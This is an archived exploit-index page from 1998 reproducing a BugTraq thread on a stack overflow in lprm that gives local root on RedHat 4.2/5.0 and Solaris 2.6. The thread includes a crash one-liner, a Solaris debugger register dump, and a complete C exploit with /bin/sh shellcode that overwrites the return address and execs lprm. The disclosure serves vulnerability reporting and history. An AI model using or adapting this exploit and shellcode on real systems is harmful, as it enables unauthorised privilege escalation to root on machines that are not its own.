lprm Linux/BSD/Solaris Overflow
Description: | The lprm program on some machines has a standard overflow in the name you feed it to remove a job from a remote printer |
Author: | Chris Evans <chris@FERRET.LMH.OX.AC.UK> posted this problem to BugTraq, it turns out the the OpenBSD folks (probably Theo De Raadt) fixed the problem in 1996. |
Compromise: | root (local) |
Vulnerable Systems: | RedHat Linux 4.2 and 5.0, Solaris 2.6, Some *BSD variants vulnerable, but most fixed it 6 months to two years prior to this notice |
Date: | 18 April 1998 |
Date: Sat, 18 Apr 1998 15:42:11 +0100
From: Chris Evans <chris@FERRET.LMH.OX.AC.UK>
To: BUGTRAQ@NETSPACE.ORG
Subject: Nasty security hole in "lprm"
Hi,
I've found a local->root compromise in the lprm program, as shipped
RedHat4.2 and RedHat5.0. Other systems untested.
There is a prerequisite to exploiting this, that a remote printer be
defined (rm field).
If trying to remove entries from a remote queue, the args given are
basically strcat()'ed into a static buffer.
Thus:
lprm -Psome_remote `perl -e 'print "a" x 2000'`
Segmentation fault
gdb confirms the program is attempting to execute code at 0x41414141
Other potential problems include assumptions about host name max lengths,
dubious /etc/printcap parsing (but it seems user defined printcap files
are not allowed). There is also a blatant strcpy(buf, getenv("something"))
but luckily it is #ifdef'ed out. File/filename handling looks iffy at
times too.
It is scary that this was found in a mere 5 mins of auditing. I sincerely
beleieve the BSD line printer system has no place on a secure system. When
I get more time I might well look for other problems; I would not be
surprised to find some. The lpr package is in need of an audit. If the
great folks at OpenBSD have already done this, maybe others should nab
their source code :-)
Cheers
Chris
Date: Mon, 20 Apr 1998 11:23:11 +0200
From: Gian Uberto Lauri <saint@dei.unipd.it>
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: Nasty security hole in "lprm"
>>>>> "CE" == Chris Evans <chris@FERRET.LMH.OX.AC.UK> writes:
CE> If trying to remove entries from a remote queue, the args given
CE> are basically strcat()'ed into a static buffer.
CE> Thus:
CE> lprm -Psome_remote `perl -e 'print "a" x 2000'` Segmentation fault
CE> gdb confirms the program is attempting to execute code at
CE> 0x41414141
Confirmed. Solaris 2.6 has the same problem.
/usr/ucb/lprm is a symlink to /usr/bin/cancel that is setyid root
/*
* Please note : comandi is a file containing the command to start
* cancel with the 2000 'a' passed as parameter.
*/
{betty} 11:09:44
[15]/tmp:adb -P"Pollo:" -I /tmp ./cancel
Pollo:$<comandi
Pollo:SIGSEGV: Segmentation Fault (address not mapped to object)
stopped at:
0xef6fe9b8: ldsb [%o1], %o5
Pollo:$r
g0 0x0 l0 0xeffff79c
g1 0xef7459f4 l1 0x63940
g2 0x3f57d l2 0xef6fe93c
g3 0x3e17c l3 0x0
g4 0x3e164 l4 0x80
g5 0x0 l5 0x80
g6 0x0 l6 0x7
g7 0x0 l7 0xfc09ab80
o0 0xef74fbec i0 0xef74fbec
o1 0x61616161 i1 0x370ec
o2 0x0 i2 0xef76227c
o3 0x0 i3 0x0
o4 0xef76227c i4 0xeffff79c
o5 0xef6fe954 i5 0xef7fd8b4 _end+0x878
sp 0xefffe378 fp 0xefffe3d8
o7 0xef6fe980 i7 0xef6dba68
y 0x0
psr 0x4001084
pc 0xef6fe9b8 0xef6fe9b8: ldsb [%o1], %o5
npc 0xef6fe9bc 0xef6fe9bc: ldsb [%o0], %g1
Solaris 2.5.5.1 has not the problem.
Gian Uberto Lauri
saint@dei.unipd.it
Date: Mon, 20 Apr 1998 14:29:07 -0400
From: Seth McGann <smm@WPI.EDU>
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: Nasty security hole in "lprm"
At 15:49 4/18/98 +0100, you wrote:
>Hi,
>
>Sorry to follow up on my own post about lprm, but...
>
>...yes OpenBSD fixed it long ago.
>
>I'll bet there are other lpr subsystem bugs they fixed too, that we should
>all care about :)
Here is an exploit, for demonstration purposes only...
[Part 2, Application/OCTET-STREAM (Name: "lprm.c.gz") 1.2KB]
[Unable to print this part]
[ Part 3: "Attached Text" ]
Seth M. McGann / smm@wpi.edu "Security is making it
http://www.wpi.edu/~smm to the bathroom in time."
KeyID: 1024/2048/177B6415
Fingerprint 5E87 5E5C 8FD9 1FFB 7836 C590 BA81 C796 177B 6415/* lprm.c
*
* Exploit for the bug discovered by Chris Evans in Linux lprm.
* Description: /usr/bin/lprm does inadequate bounds checking
* on its command line arguments. Classic overflow, though I
* was unable to massage Aleph One's generic exploit enough
* to make it work. Here is a modification of the source provided
* in Willy Tarreau's excellent paper on linux stack smashing.
* The offset will be very high for some reason, so don't be alarmed.
* This was tested with Redhat 4.2. This will only work with a
* remote printer defined in /etc/printcap. Remember to change
* the PRINTER define accordingly.
* This bug has been fixed in OpenBSD, you can rip the fix from them.
* Seth McGann <smm@wpi.edu>
*/
#include <stdio.h>
#define PRINTER "-Pwhatever"
static inline getesp() {
__asm__(" movl %esp,%eax ");
}
main(int argc, char **argv) {
int i,j,buffer,offset;
long unsigned esp;
char unsigned buf[4096];
unsigned char
shellcode[]="\x89\xe1\x31\xc0\x50\x8d\x5c\x24\xf9\x83\xc4\x0c"
"\x50\x53\x89\xca\xb0\x0b\xcd\x80/bin/sh";
buffer=990;
offset=3000;
if (argc>1)buffer=atoi(argv[1]);
if (argc>2)offset=atoi(argv[2]);
for (i=0;i<buffer;i++)
buf[i]=0x41; /* inc ecx */
j=0;
for (i=buffer;i<buffer+strlen(shellcode);i++)
buf[i]=shellcode[j++];
esp=getesp()+offset;
buf[i]=esp & 0xFF;
buf[i+1]=(esp >> 8) & 0xFF;
buf[i+2]=(esp >> 16) & 0xFF;
buf[i+3]=(esp >> 24) & 0xFF;
buf[i+4]=esp & 0xFF;
buf[i+5]=(esp >> 8) & 0xFF;
buf[i+6]=(esp >> 16) & 0xFF;
buf[i+7]=(esp >> 24) & 0xFF;
printf("Offset: 0x%x\n\n",esp);
execl("/usr/bin/lprm","lprm",PRINTER,buf,NULL);
}
The master index of all exploits is available
here (Very large file)
Or you can pick your favorite operating system:
This page is part of Fyodor's exploit
world.
For a free program to automate scanning your network for vulnerable
hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: